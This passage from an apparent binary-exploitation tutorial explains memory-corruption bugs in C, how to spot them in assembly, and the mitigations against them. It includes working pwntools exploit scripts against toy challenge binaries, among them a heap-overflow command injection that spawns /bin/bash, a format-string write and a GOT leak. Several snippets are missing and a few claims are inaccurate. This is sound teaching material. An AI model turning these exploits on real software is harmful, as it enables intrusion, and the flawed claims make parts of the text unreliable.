0x189312e0 0x0000000000000000 0x0000000000000000 ................
Since arg was allocated using malloc(0x20), it has 32 bytes available for user data. The string AAAAAAAAAAbcdefghijklmnopqrstuvw contains exactly 32 characters and completely fills this buffer. Any input exceeding 32 characters will begin overwriting the contents of cmd, illustrating a heap overflow.
pwndbg> run
AAAAAAAAAAbcdefghijklmnopqrstuvw
[...]
0x1766f290 0x0000000000000000 0x0000000000000031 ........1.......
0x1766f2a0 0x4141414141414141 0x6766656463624141 AAAAAAAAAAbcdefg
0x1766f2b0 0x6f6e6d6c6b6a6968 0x7776757473727170 hijklmnopqrstuvw
0x1766f2c0 0x0000000000000000 0x0000000000000411 ................
0x1766f2d0 0x20736c2f6e69622f 0x0000000000206c2d /bin/ls -l .....
0x1766f2e0 0x0000000000000000 0x0000000000000000 ................
0x1766f2f0 0x0000000000000000 0x0000000000000000 ................
from pwn import *
payload = (
b"AAAAAAAAAAbcdefghijklmnopqrstuvw"
+ p64(0)
+ p64(0)
+ b"random ; /bin/bash ; echo"
)
p = process("./chall")
p.send(payload)
p.interactive()
python3 solve.py
[+] Starting local process './chall': pid 17757
[*] Switching to interactive mode
$ ls
sh: 1: random: not found
$ ls
chall chall.c solve.py
$ WE GOT A SHELL !
To prevent heap overflows, always check the buffer size before performing any copy operation ; prefer bounded versions (like snprintf or strncat) and never trust the size of input data.
Example of vulnerable code :
Safe version :
if (strlen(input) < 16){
strcpy(buf, input);
}
snprintf(buf, 16, "%s", input); // safe print function that display only 16 octets
How do you spot a heap overflow in assembly code if you don't have the high-level source code ?
mov edi, 16
call malloc
mov rbx, rax ; rbx = ptr on buff
mov rdi, rbx ; rdi -> buff
mov rsi, [input] ; rsi -> "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
call strcpy ; rsi -> rdi -> rbx -> buff
Safe version :
Off-by-one
Off-by-one occurs when a program writes exactly one byte beyond the end of a buffer due to an incorrect boundary check.
The most common causes are: - using <= instead of < in a loop - forgetting to allocate space for the null terminator - copying length + 1 bytes instead of length
It's quite common because typically this code looks secure :
// stack based off by one
char *buf = malloc(16);
for (int i = 0; i <= 16; i++) {
buf[i] = input[i];
}
But since in computing we start at 0 and so the spaces available in theory in the buffer are from 0 to 15, the fact that we can write at index 16 (<= 16) causes a buffer overflow of +1.
This type of bug also happens on the heap :
It's very tricky because strlen returns the number of characters without counting the null terminator. So if input contains 20 characters, buf will have allocated 19. And during the copy of the user input there will be one character too many the null terminator "\0" that will be stored beyond the buffer.
The direct consequence of this bug consists of corrupting the first byte of the header of the memory space placed below.
To spot it in assembly :
xor ecx, ecx
loop:
cmp ecx, 16
jle copy_byte ; here jle is the issue (jmp if less than or equal)
; we need to use jl instead
jmp end
copy_byte:
do_something ;
; increment
jmp loop;
end:
...
Format string
The functions that allow to display text in low level languages use specifiers (%d, %s, %x, %n) that allow to pass as parameter data and notably user inputs.
The problems arrive when the user input is directly placed in printf without being parameterized :
So the attacker can place in user_input characters that allow to manipulate the program ; In reading :
-
%x, %p : display the content of the stack (bypass ASLR)
-
%s : interprets a value of the stack as a pointer and dereferences allows the arbitrary reading of memory (or the DOS)
For example if we take the this code snippet :
#include <stdio.h>
int main(int argc, char *argv[]){
FILE *password = fopen(".asecretfile", "rt");
char buffer[32];
fgets(buffer, sizeof(buffer), password);
printf(argv[1]);
fclose(password);
return 0;
}
/*
gcc code.c -o code -fno-stack-protector -z execstack -no-pie -Wl,-z,norelro -U_FORTIFY_SOURCE -D_FORTIFY_SOURCE=0 -O0
*/
If we compile it for x64, we can easily retrieve the secret value :
pwndbg> b *0x00000000004011aa # BREAKPOINT just on the printf function
Breakpoint 1 at 0x4011aa
pwndbg> run AAAAAAAAAAAAAA # Run it with a value
Starting program: /workspace/code AAAAAAAAAAAAAA
[...]
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7ffccf543af0 —▸ 0x7ffccf543c48 —▸ 0x7ffccf5441df ◂— '/workspace/code'
01:0008│-038 0x7ffccf543af8 ◂— 0x200000000
02:0010│-030 0x7ffccf543b00 ◂— 'HELLLOOOOOOO\n' # As we can see the value of the .asecretfile is stored in 0x7ffccf543b00
03:0018│-028 0x7ffccf543b08 ◂— 0xa4f4f4f4f /* 'OOOO\n' */
04:0020│-020 0x7ffccf543b10 ◂— 0
05:0028│-018 0x7ffccf543b18 —▸ 0x706752a18fc0 (dl_main) ◂— push rbp
06:0030│-010 0x7ffccf543b20 ◂— 0
07:0038│-008 0x7ffccf543b28 —▸ 0x79052a0 ◂— 0xfbad2488
pwndbg> x/50xw $sp # And this addresse start at the 8 bytes of the stack
0x7ffccf543af0: 0xcf543c48 0x00007ffc 0x00000000 0x00000002
0x7ffccf543b00: 0x4c4c4548 0x4f4f4f4c 0x4f4f4f4f 0x0000000a
0x7ffccf543b10: 0x00000000 0x00000000 0x52a18fc0 0x00007067
0x7ffccf543b20: 0x00000000 0x00000000 0x079052a0 0x00000000
0x7ffccf543b30: 0x00000002 0x00000000 0x5282624a 0x00007067
0x7ffccf543b40: 0xcf543c30 0x00007ffc 0x00401156 0x00000000
0x7ffccf543b50: 0x00400040 0x00000002 0xcf543c48 0x00007ffc
0x7ffccf543b60: 0xcf543c48 0x00007ffc 0x8b454ab6 0xf1a7ed59
0x7ffccf543b70: 0x00000000 0x00000000 0xcf543c60 0x00007ffc
0x7ffccf543b80: 0x004030f0 0x00000000 0x52a30020 0x00007067
0x7ffccf543b90: 0xfdc14ab6 0x0e5e73f1 0x4f454ab6 0x1169485d
0x7ffccf543ba0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7ffccf543bb0: 0x00000000 0x00000000
And in writing :
- %n writes the number of characters already displayed at the address pointed by the corresponding argument
Here is an example on how to write with format strings vulnerability.
Giving the following challenge :
// Challenge generated by Opus 4.8
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int secret = 0xdeadbeef;
void win(void) {
puts("You win");
}
int main(void) {
char buf[128];
printf("Secret is at: %p\n", &secret);
while (1) {
printf("Input: ");
if (!fgets(buf, sizeof(buf), stdin))
break;
buf[strcspn(buf, "\n")] = '\0';
printf(buf);
if (secret == 0x1337) {
win();
}
}
return 0;
}
The reason why we can write through a format string vulnerability is because "%?$n" writes at the address present at the "?" offset (the ?th argument of the format string provided to printf) the number of characters already displayed.
"%n" writes 4 bytes (an int) at once. %hn writes 2 bytes (a short) and allows us to split it into two (hhn = 1 bits). Here, since the value to write is small (0x1337 = 4919 in decimal), we are going to use %n directly on 4 bytes. There is no need to split it.
The payload will be composed as follows :
(address of "secret") +
(padding allowing us to control the value) +
(%?$n which writes to the address present at the ?th offset of the format string the number of characters already displayed)
So we have 3 variables to find :
-
address of secret: the challenge gives it to us: 0x804c008, in 32-bit little-endian this gives: \x08\xc0\x04\x80
-
padding: the address is 4 characters long, 4919 - 4 = 4915. We need to write 4915 additional characters. For that we can use:
-
offset of the address of secret
Here we can see that AAAA, which is displayed by the format string, is stored on the argument stack at the 4th position (41414141).
This gives us the following payload:
from pwn import *
p = process('./code')
p.recvuntil(b'Secret is at: ')
secret_addr = int(p.recvline().strip(), 16)
log.success(f"secret @ {hex(secret_addr)}")
offset = 4
padding = 4915
payload = p32(secret_addr) + f"%{padding}x".encode() + f"%{offset}$n".encode()
p.sendline(payload)
p.interactive()
python3 exploit.py
[+] Starting local process './code': pid 7236
[+] secret @ 0x804c008
[*] Switching to interactive mode
[here the padding]
You win
$ echo "hello"
hello
Here is how to detect it in assembly : if the user input is in the first argument of the printf function, this is vulnerable.
lea rax, [rbp-0x100] ; where rbp-0x100 is the adresse of the buffer
mov rdi, rax ; first argument of printf function = user input
xor eax, eax
call printf ; call printf with the raw user input
If we use "printf("%s", user_input);" instead :
lea rdi, [rip+.LC0] ; first argument = "%s"
lea rsi, [rbp-0x100] ; second argument = user buffer
xor eax, eax
call printf ; here is a safe printf
.LC0:
.string "%s"
Integer overflow / underflow
Since int and unsigned int have a defined number of bits on which we can encode a number, if we exceed the biggest number that it is possible to encode, we come back to the opposite point of the cycle.
Exemple :
uint var1;
uint var2;
uint res;
var1 = scanf("%d", &nombre);
var2 = scanf("%d", &nombre);
res = var2 + var1;
if ((var1 < 0) || (var2 < 0)) {
printf("The number can't be < 0")
}
else if ((int)res < 0) {
print("You win")
}
So here if we enter 2147483647 as var1 and 1 as var2, the result will be "-2147483647".
In this example it's a simple ctf like, but it can have terrible consequences for example when a stock market software, affected by this bug, dropped to 0 after reaching the maximum size of the integral (cf : https://www.theregister.com/software/2021/05/07/nasdaqs-32-bit-code-cant-handle-berkshire-hathaways-monster-share-price/894175)
Good to know that the same problem can happen with negative numbers :
This can affect all the data types (char, long etc...) but it's often for int that it causes problem.
To avoid this we can check at each critical operation that the result is not inconsistent. There are even built_in functions for this case :
To detect this in assembly it's when additions are done without using the "jo" instruction that allows to "jump" to an address if the previous operation activated the flag "OF" that is to say an overflow on the signed integer or not :
This one is safe :
Signedness errors
When we encode a number into a variable, the interpretation differs depending on its type.
For example this two variables :
... have the same hexadecimal representation: 0xFFFFFFFF, but since one is a signed integer and the other an unsigned integer 32, the interpretation is not the same and errors in programs can cause bugs during the transition between types or their use.For example:
int len;
scanf("%d", &len);
if (len < 1024) {
read(0, buf, len); // read(int fd, void *buf, size_t count);
}
This situation can create a buffer overflow :
char buf[10]; // 10 bytes are allocated
int len;
scanf("%d", &len); // we get the size of the input from the user
if (len < 10) { // we check if the user has not requested more than 10 bytes
read(0, buf, len); // ssize_t read(int fd, void *buf, size_t count);
}
To spot it in assembly we have to look for a signed comparison :
Then an unsigned use. Or a mix between "movsx" (with sign) and "movzx" (without sign).
Here is an example :
; where input of the buffer is in eax
cmp eax, 1024
jge input_to_long ; if (len >= 1024) signed comparison
; read function preparation
mov edi, 0
lea rsi, [buf]
movsxd rdx, DWORD PTR [rbp-4] ; implicit conversion to unsigned
call read
To prevent this vulnerabilities we need to get an unsigned user input if we want to use it as an unsigned argument :
size_t len;
scanf("%zu", &len);
if (len < 1024) { // the assembly code will manage an unsigned comparison "jae"
read(0, buf, len);
}
Or we can simply check if the integer is > 0 at the comparison :
if (len >= 0 && len < 1024) { // cmp eax, 0 AND jl (jump if lower) + cmp eax, 1024 AND jge jump if larger)
read(0, buf, len);
}
Type truncation
This type of vulnerabilities occurs when a value stored in a data type is copied to a smaller data type (from long to int for example). In this type of opperation the most significant bytes are deleted. This behavior can create behavior similar to signedless errors.
long var = 4294967296; # 0x0000000100000000
var --> int = 0; # 0x00000000 (the high 32 bits disappear)
void check(int n) {
if (!n) {
printf("this should never be called");
}
else{
printf("OK");
}
}
int main(void) {
long int a;
scanf("%ld", &a);
if (a == 0) // check on 64 bits
printf("Bad");
else
check(a); // check on 32 bits
return 0;
}
It's quite easy to see in assembly when we go from a 64 bit register to a 32 bit register :
; where rax = 4294967296
mov eax, rax ; keeps only the 32 low order bits
test eax, eax ; if eax != 0
jz this_should_never_be_called
exit:
this_should_never_be_called:
To avoid this behavior, if a conversion is really necessary we must check that the value has not changed after the copy :
Use-after-free
Use-after-free (UAF) vulnerabilities arise when a program continue to use a pointer to a memory area in the heap that have been freed (with free() or delete()).
This problem can cause a crash, but even worse, it can be exploited to modify the program's behavior :
char *is_admin = malloc(0x20);
strcpy(is_admin, "no");
free(is_admin);
char *other_var = malloc(0x20);
read(0, other_var, 0x20); // The attacker will enter "yes".
And if later in the code is_admin is re-used and trusted :
Attacker is now admin !
Here so that the comparison is validated I had to use pwntools in order to specify a null terminator :
void do_a_flip(){
printf("oh my gahhhhh");
}
int main(void) {
char *is_admin = malloc(0x20);
strcpy(is_admin, "no");
free(is_admin);
char *other_var = malloc(0x20);
read(0, other_var, 0x20); // The attacker will enter "yes".
printf("is_admin : %p\n", (void *)is_admin);
printf("other_var: %p\n", (void *)other_var);
if (strcmp(is_admin, "yes") == 0){
do_a_flip();
}
}
# cat exploit.py
from pwn import *
p = process("./uaf")
p.send(b"yes\x00")
print(p.recvall())
# python3 exploit.py
[+] Starting local process './uaf': pid 1897
[+] Receiving all data: Done (65B)
[*] Process './uaf' stopped with exit code 0 (pid 1897)
is_admin : 0x5ae67a1722a0
other_var: 0x5ae67a1722a0
oh my gahhhhh
To avoid this type of vulnerability we have to set the pointer to Null to create a dangling pointer. Here is an example :
And the corresponding assembly code :
mov rdi, rbx ; where rbx is the register that contain the memory address
call free ; free function wait the addresses to free in the rdi register
xor rbx, rbx ; rbx = NULL
And her is the vulnerable version :
Double free
To really understand the double free vulnerabilities and the related possibility of exploitation we have to visualise the list of free chunk in tcache (cf : heap exploitation ; explanation on memory in heap)
Normal flow :
Tcache is in the heap, but to make it more visual, we'll display it separately.
Code :
Heap : Tcache :Code :
Heap :Addr Var Value
0x100 8 first bytes = Addr of the next free chunk ; here as there is no other chunk it point on NULL
Code :
Heap : Tcache :Double free case :
Code :
Heap :Addr Var Value
0x100 8 first bytes = Addr of the next free chunk
in this case as we double free a, this 8 bytes point to 0x100
When the allocator will want to reuse this space, it will assign the location to 0x100 twice :
char *x = malloc(0x40); // unstack the 1st x = 0x100
char *y = malloc(0x40); // unstack the 2nd y = 0x100
The variables y and x are in the same memory location.
That's great, but in certain situations you can do much more by writing whatever you want to any variable.
Overwrite any variables
read(0, x, 0x40);
// Here the user enter the address of the target address whose value they want to change.
// address of is_admin = 0X4321
We unstack the Stack (LIFO) :
char *user_controlled_data = malloc(0x40); // point to &is_admin address
read(0, user_controlled_data, 0x40); // write "yes" in is_admin !
The attacker can write anything on the "is_admin" address !
This kind of exploitation technique is impossible in the modern versions of glibc :
In the versions of glibc >= 2.29 tcache detects the double free by adding for each entry a "key" parameter (in the metadata of the memory) : when a chunk (memory block) is freed and placed in the tcache, glibc writes the address of the tcache_perthread_struct structure at the place where the bk pointer would normally be.
If the same chunk is freed a second time, glibc observes that the key of the entry is already initialized in the current tcache.
To bypass this protection we must either corrupt the key (modify the content of this chunk after it has been freed, but before freeing it a second time ; so a precise case of UAF or a Heap buffer overflow); or fill the tcache to switch to fastbin* which does not have this type of security.
*fastbin still has some security but less effective for performance reasons.
In glibc >= 2.32 some "Safe-Linking" was added which encrypts the next pointer with other data. We need a heap leak to compute the address to write.
Advanced technique related to double free :
As a reminder, a linked list is formed by the free chunks, the information of the next chunk and of the previous one in the list is carried by the metadata bf and fd (at the very place where the data was originally) :
Let's imagine that we want to reuse chunk B (because its size fits well for a new allocation), we will have to do an unlink operation :To arrive at this state :
The issue if we unlink like this (which the first versions of glibc did), is that with a UAF, we can rewrite on the data of B. And so if we put on the fd of B an address that we want to overwrite and on the bk what we want to write there. We arrive at an arbitrary write in memory.
During the unlink process, the program will go to the address indicated on the memory space at the fd address to write there bk at the location of fd (that is to say as a reminder at the location of the data when the location is outside the list of free chunks), normally it does this to update chunk C (in our example).
Initial state :
After unlink :
Case during the attack
State after overwrite :
A fd : &B
A bk : null
-----------
B fd : 0x45264800 <---- During the unlink 0xdeadbeef is written here
B bk : 0xdeadbeef
-----------
C fd : &null
C bk : &B
*By the way the linked list is broken so it can crash (we can surely overwrite C too to manually fix the chain).
This is what we call a tcache poisoning. To fix this problem glibc added the safe unlinking where we check that the fd of the removed chunk points well to the next chunk and bk to the previous one.
And a series of exploitation and countermeasure put in place by glibc led to this series of exploit called "House of (Force, Spirit, Einherjar, etc...). Globally (it's a complex subject and there will be no demo here for now) :
Copy past from Opus 4.8 :
House of Spirit: We pass "free" to a pointer we control to insert a fake chunk, created from scratch, into a fastbin (or tcache) in a controlled area (often the stack). A subsequent "malloc()" call returns this fake chunk and provides a write primitive for that area.
House of Force: We overwrite the size field of the top chunk (the wilderness) with an enormous value like -1. This allows us to then use an arbitrarily large "malloc()" call to move the top chunk pointer anywhere in memory. The next allocation then returns a pointer to the desired address.
House of Einherjar: We exploit a single null byte overflow (off-by-one) to clear the PREV_INUSE bit of the next chunk and forge a fake "prev_size". This causes "free()" to trigger a backward consolidation that merges onto a controlled fake chunk, creating an overlap or an arbitrary pointer.
Dangling pointers
All the use-after-free and double-free vulnerabilities are related to dangling pointer.
A dangling pointer is a pointer that points to a memory area that is no longer valid. The address is still stored in the pointer, but what it references no longer exists :
The use-after-free consists of reusing a pointer, and the double-free involves re-freeing the space.
To avoid this issue, when you release a memory space, you should also set the pointer to NULL :
All this case are about the heap, but this type of issue can also arise on the stack :
int *random() { // return a ptr on a int
int x = 56;
return &x; // The memory address of x is returned, but it is no longer reserved for it at the end of the function.
}
int main(){
int *p = random();
printf("%d\n", *p); // Can display 56 but can also display other random thing.
}
But the dangling pointer on the stack is much less exploitable than on heap.
Null pointer dereference
In the previous chapter I said that we could set the pointer to NULL :
If p is re-used :
The program will crash (or at least generate an error); this mitigates the UAFs but still corresponds to a vulnerability. Among other things, this can cause a DoS attack, but also more in old operating systems where address 0 (which NULL points to) can be mapped (potentially with data controlled by the attacker).
Today, mmap_min_addr protection prevents mapping low addresses (and there are also processor-side restrictions).
There is also another associated risk: compiler optimizations of the "Undefined behavior" type. In fact, if p is reused (dereferenced), the compiler will consider that the rest of the execution flow cannot handle this type of case :
And so, to optimize it, it will remove the condition:
Out-of-bounds read/write
Out-of-Bounds vulnerabilities arise when the binary read or write a memory address outside of the allocated boundaries of an array or a buffer. In C/C++ they are no automatic verification like in python. Here if "i" is to big or to small it will gain access to arbitrary memory :
A classic overflow writes linearly and contiguously beyond a buffer (often via strcpy or gets). An out-of-bounds (OOB) access via an index provides relative and often controlled access (array[idx]).
Here is an example with user controled data :
int array[10];
int index;
scanf("%d", &index); // can be -8 or 1000
array[index] = value; // write data on arbitrary memory
scanf("%d", array[index]); // or read data on arbitrary memory
In the case where we can read, we can : - bypass ASLR/PIE (cf : protections) - leak a canary (cf : protections) - leak a secret
In the case where we can overwrite : - a function pointer - GOT - a return address - heap metadata
A common mistake consists of validating the positive size but not the negative :
There is also some common confusion based on the unsigned/signed paradigm :
int idx;
scanf("%d", &idx);
if (idx >= size) { // compared in signed format
error();
}
// but use as unsigned later
// so -1 become 0xFFFFFFFF (4294967295)
An error directly related to an integer overflow during an operation :
long array[16] // 16 long elements = 128 bytes
unsigned int idx;
printf("index: "); scanf("%u", &idx);
if (idx * 8 < 128){
array[idx] = val;
}
// here if idx = 536870912, 536870912 * 8 = 4294967296
// 4294967296 overflow the unsigned integer so it become 0x0000000, the test pass
And also an element size mismatch, where the bound is expressed in the wrong unit:
long array[16]; // 16 longs in the array = 128 bytes
unsigned int idx;
scanf("%u", &idx);
if (idx < sizeof(array)) { // sizeof(array) = 128, not 16 elements
array[idx] = val; // idx = 100 passes the check...
}
How to exploit OOB for reading
The reason we leak data in memory is mainly to bypass ASLR (Address Space Layout Randomization), which places the different memory zones at random base addresses on each execution (libc, the stack, the heap, etc.).
Here we talk about the virtual memory given to the process. It is not only the order of the blocks that changes, but really their base address, which can create big empty holes of padding. However the order of the elements inside these zones does not change, which is exactly what lets us find our way.
Indeed, if we manage to read the GOT (cf : How does the program call the printf function ? (GOT/PLT)), we can get the address of the libc functions in the current execution. This is essential to get a shell for example, because in protected binaries the stack is no longer executable, so we must reuse the code that already exists in libc, for example to build system("/bin/sh").
The position of the GOT relative to the array (before/after) is fixed by the linker and does not change from one execution to another ; ASLR moves the base of the binary as one block without reordering its content. So if the primitive only allows a negative index (or positive), we are limited to the targets on that side ; restarting the binary will not change this order.
Let's take this program :
#include <stdio.h>
#include <stdlib.h>
// The reason we put this outside of main is to find it more easily on the program symbol for the demo
void *array[4];
int main(void)
{
setbuf(stdout, NULL);
/* Resolution of puts in the GOT table */
puts("OOB demo");
printf("array = %p\n", (void *)array);
printf("index = ");
long index;
if (scanf("%ld", &index) != 1)
return 1;
printf("value = %p\n", array[index]);
return 0;
}
/*
gcc -Wall -Wextra -O0 -fno-stack-protector -no-pie -Wl,-z,relro -o oob_read oob_read.c
*/
If we want to bypass ASLR and leak libc via an OOB read that allows a negative index, we will start by getting the address of the put entry in the GOT table (which contains the real address of put in the libc) (hoping that it has already been resolved which is the case in our C code).
We will also get the address of our array :
from pwn import *
context.binary = elf = ELF("./oob_read", checksec=False)
context.log_level = "info"
io = process(elf.path)
array_addr = elf.symbols["array"]
puts_got = elf.got["puts"]
log.info(f"array = {hex(array_addr)}")
log.info(f"puts@GOT = {hex(puts_got)}")
Once we have these addresses we try to know which index we have to put to our array to reach it, knowing that each index points to an element of 8 bytes :
As each element of the array is 8 bytes, we will divide the result by 8 (to know how many "index" we are from puts@got) :
Once we have all these elements it is enough to read the address :
index = -12
io.sendlineafter(b"index = ", str(index).encode())
io.recvuntil(b"value = ")
leaked_puts = int(io.recvline().strip(), 16)
log.success(f"leaked puts = {hex(leaked_puts)}")
How to exploit OOB for writing
If we take an equivalent program but instead of displaying we write :
// Generated by Opus 4.8
#include <stdio.h>
#include <stdlib.h>
long array[4];
long target = 0; // we want to overwrite target
int main(void)
{
setbuf(stdout, NULL);
printf("target = %ld\n", target);
printf("index = ");
long index;
if (scanf("%ld", &index) != 1)
return 1;
printf("value = ");
long value;
if (scanf("%ld", &value) != 1)
return 1;
array[index] = value;
printf("target = %ld\n", target);
return 0;
}
It's almost more powerful than a buffer overflow because we can write what we want where we want :
# Generated by Opus 4.8
from pwn import *
context.binary = elf = ELF("./oob_write", checksec=False)
io = process(elf.path)
array_addr = elf.symbols["array"]
target_addr = elf.symbols["target"]
log.info(f"array = {hex(array_addr)}")
log.info(f"target = {hex(target_addr)}")
index = (target_addr - array_addr) // 8
log.info(f"OOB index = {index}")
io.sendlineafter(b"index = ", str(index).encode())
io.sendlineafter(b"value = ", b"1010")
print(io.recvall().decode())
io.close()
Uninitialized memory (info leak)
As a reminder, when allocating or freeing memory on the heap, the behavior depends on the organization of bins (tcache, fastbins etc...). A freed chunk is generally not zeroed out before being reused, which can lead to reads of uninitialized memory.
On the stack, local variables are automatically allocated upon entering a function, and the stack pointer is simply moved to make them available. When the function terminates, this memory area is considered free, but its contents are generally not erased.
When the variable is declared, its value may initially appear random, but it is often a leftover value that previously occupied that memory location.
This can make it possible to retrieve secret information from the program :
// read-before-write in heap
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(){
char *secret = malloc(32);
strcpy(secret, "ASUPERSECRETNOTTOLEAKPLZ");
free(secret);
char *buf = malloc(32);
write(1, buf, 32);
return 0;
}
// read-before-write in stack
#include <stdio.h>
#include <unistd.h>
#include <string.h>
void save_secret(void)
{
char password[32];
strcpy(password, "ASUPERSECRETNOTTOLEAKPLZ");
}
void leak(void)
{
char buffer[32];
write(1, buffer, sizeof(buffer));
}
int main(void)
{
// the two variables (buffer and password) are placed in different functions so they do not coexist.
save_secret();
leak();
}
Or generate unexpected behaviors:
void do_a_thing(void)
{
int hello = 1;
}
void check_if_user_is_admin(void)
{
int is_admin; // The developer believes the default value is != 1
if (is_admin == 1) {
printf("You are admin");
}
}
int main(void)
{
do_a_thing();
check_if_user_is_admin();
}
If you see in assembly a read from the heap :
; malloc() returned a pointer in RAX
mov rdi, rax
mov al, BYTE PTR [rdi] ; the memory space is read just after the reservation on the heap
from a memory space that haven't been initialized like that :
This is probably the sign of an uninitialized memory vulnerabilities.
To avoid this, you can use calloc, for example:
calloc(64,1);
// here the allocated memory will be set to 00 00 00 00 ... (in hexa)
// this create the assembly code mentioned just before
In the stack, the best practice is to explicitly initialize local variables when declaring them.
Type confusion
When a program treats an object of one type as if it were of another incompatible type.
class A {
public: int x;
};
class B {
public: void secret() {}
};
A a;
B* b = reinterpret_cast<B*>(&a); // Type confusion
b->secret(); // Undefined behavior
The consequences can be simple memory corruption, arbitrary read and write operations, or control of the execution flow.
Uncontrolled allocation (memory exhaustion)
A problem distinct from a buffer overflow, since the allocated memory is not exceeded, but too many are allowed to be allocated.
If n = 99999999999 the binary will crash, slow down the machine.In assembly :
read_number:
call get_user_input ; rax get the user input
mov rdi, rax
call malloc; who take rdi as a size
To prevent this behavior, the requested allocation size should always be validated before invoking the allocator.
Protections and mitigations
Some of these protections have already been discussed in the article, but here they are compiled into a single chapter.
ASLR (and PIE)
Without ASLR, the memory addresses are fixed within the virtual memory which makes exploitation easier :
With ASLR, each execution of the program generate new addresses for each block of the program. The attacker have to guess/find/leak the address of the function we want to call and they can not just generated a plug and play exploit with the hardcoded values.
PIE comes to complete ASLR by making the position of the code block (.text) also random in the memory. Where ASLR is managed at execution, for a binary to have PIE activated it must be planned at compilation. Because the binary can no longer just ask the os to load it at 0x40000 then do :
The call must be done according to the relative location of the program :
DEP / NX
If an attacker wants to determine the addresses of system functions and ASLR is used to prevent it, it's because they cannot simply place their shellcode on the stack and execute it.
Because with NX enabled, code on the stack cannot be executed.
Stack canaries
During a buffer overflow, the attacker will try to overwrite the return value to control the execution flow of the program. To limit this we can place in the stack a value, and check its integrity before each call to the return address.
Even if the canary is different at each execution, in the case where a vulnerability allows to read the stack and so to place at the right place in our payload the valid canary, this just makes the creation of exploit more difficult because we have to read the stack before generating the payload accordingly.
Knowing that it's still useful because a lot of bugs allow to write but few allow to read.
Where is stored the value with which the canary is compared ? Can't we place it at "AAAAAAAA" ?
The canary is placed in Thread Local Storage (TLS), we cannot overwrite it with a simple stack buffer overflow.
In order to add complexity often the canary contains a string ending by "00". (example : 0x4856900), Since 0x00 designates the end of a string it increases the chances that a string copy stops before overwriting what is after the canary (on some bug).
RELRO (partial / full)
(cf : "How does the program call the printf function ?" (GOT/PLT) chapter for more in-depth explanation).
When the program calls a function, it will use a GOT table. If this table is writable we can place the address of system on the one of printf.
With Full RELRO, the loader resolves the entire GOT table before launching the program (to retrieve all addresses) and then places this section in read-only.
There is also Partial RELRO where only some parts read-only, GOT still writable.
FORTIFY_SOURCE
Protection at compilation time which will strengthen some calls when it is possible to detect in advance cases of buffer overflow in the code :
char buf[16];
strcpy(buf, data); // FORTIFY_SOURCE will replace it with __strcpy_chk (chk is for check buffer overflow)
FORTIFY works when the compiler can determine the size of the destination object in advance. If the value is generated at execution or is built in a too complex way (even if static) it will not be able to predict this case.
Some recent compilers (GCC and Clang) manage to go back further in the execution chain and can solve cases like this one :
CFI (control-flow integrity)
During compilation, the compiler builds a Control-Flow Graph (CFG) describing all valid execution paths of the program. At runtime, every indirect branch is checked against this graph. If the destination is not one of the valid targets computed at compile time, the program is immediately terminated.
There are two mechanisms in this protection.
Forward-edge CFI : protect indirect calls and indirect jumps. The runtime verifies that the destination stored in RAX belongs to the set of valid functions determined by the compiler.
mov rax, controled_attacker_space
call rax ; as controled_attacker_space is not in the white list this will not be accepted
Backward-edge CFI : protect the return function. A function returns using the address stored on the stack. Stack based buffer overflow attacks overwrite this return address to redirect execution toward attacker code or gadgets.CFI ensures that the return instruction transfers control only to the legitimate caller. In these modern implementations it's a bit redundant with the shadow stack.
There are some ways to bypass. Already if functions allowed by the CFI graph can be useful nothing prevents to call them : if "become_admin()" exists in the code for example.
CFI can also be too permissive and based only on the signatures : for example allow all the functions that take as argument an int and a char.
Shadow stacks
Here the concept is quite simple. In addition to having a real stack where the operations are done, we create a shadow stack which is not available in writing.
If the two stacks do not coordinate it's that an input overwrote something in the stack and the program stops.
There are two ways to store the stack, either on the hardware side (cf : next subject Intel CET), or in memory.
During the call instruction, we push the value of the return address in the shadow stack, at the moment of the ret instruction, we "pop" the value in the two stacks and they must be the same.
In fact we do not really store 100% of the stack we mostly check the return addresses.
It's more powerful than a canary because we cannot at the same time have the valid comparison and have modified the return value.
Intel CET (Control-flow Enforcement Technology)
It's a hardware technology from intel that allows to combine the shadow stack and the IBT (Indirect Branch Tracking).
IBT allows to prevent the attacker from being able to jump to any place of the program. An indirect jump is only allowed toward entry points marked by ENDBR64. The jumps toward the middle of a function are therefore much more difficult.
Concerning the shadow stack, here it's not the operating system and the code that check the integrity of the stack but directly the CPU. Which brings some additional subtlety.
Pointer Authentication (PAC, on ARM cpu)
The goal of PAC is the same as Shadow Stack: preventing an overwrite of the return address. To achieve this, ARM CPUs generate a cryptographic signature for the return address at the time of the call and verify its authenticity when executing the ret.
Since the signing key is stored inside the CPU, it cannot be leaked through memory corruption bugs.
Memory Tagging Extension (MTE, on ARM cpu)
MTE perform detection on invalide memory accession (like use after free and buffer overflow). To achieve this, each memory block receive a tag and the corresponding pointer the same one :
During an access to the memory the processor compares the two tags and accepts to continue the operation if they are identical.
After a free(), the memory is re-used and the tag change
But if the memory is not reused the tag will not change right away. Moreover there is only a very limited number of tags (16). In fact MTE is there to detect and make more random the exploitation of memory vulnerability.
SafeStack
This protection limits the possibilities of overflow from a buffer toward the return address by separating the sensitive data from the buffers.
Prog :
Safestack :
Stack :
We end up with two stacks, placed at different and random places thanks to ASLR (because if we manage to find the safestack it breaks this protection).
Stack clash protection
A guard page is placed under the stack in order to detect its excessive growth. When the stack reaches this page, a page fault is triggered and the process is interrupted before the stack can encroach on another memory region.
The problem appears when a very big allocation is done on the stack, for example with a local variable of big size or alloca(). Without particular protection, the compiler can generate a single instruction such as : "sub rsp, 0x800000"
The RSP register then jumps directly by several megabytes and can cross the guard page without ever accessing it. No page fault is triggered and the stack can collide with another memory region (heap, mmap zone, etc.). This vulnerability is called Stack Clash.
On gcc the option is the following :
With this protection, the big allocations on the stack are cut into several allocations of the size of a page. After each decrement of RSP, the compiler generates a memory access in order to check that the newly allocated page is not in the guard page.
Application sandboxing
A protection provided at os layer this time. In the case the application is completely compromised, the objective is to limit the program capabilities on the system.
The program is put in a sandbox where is right on the system is strictly restricted.
How can you tell what the program is allowed or not to do on the system ? It's the point of seccomp :
seccomp / seccomp-bpf
Seccomp allows for filtering and either validating or rejecting system calls made by a program. It's made with bpf (cf : article on eBPF).
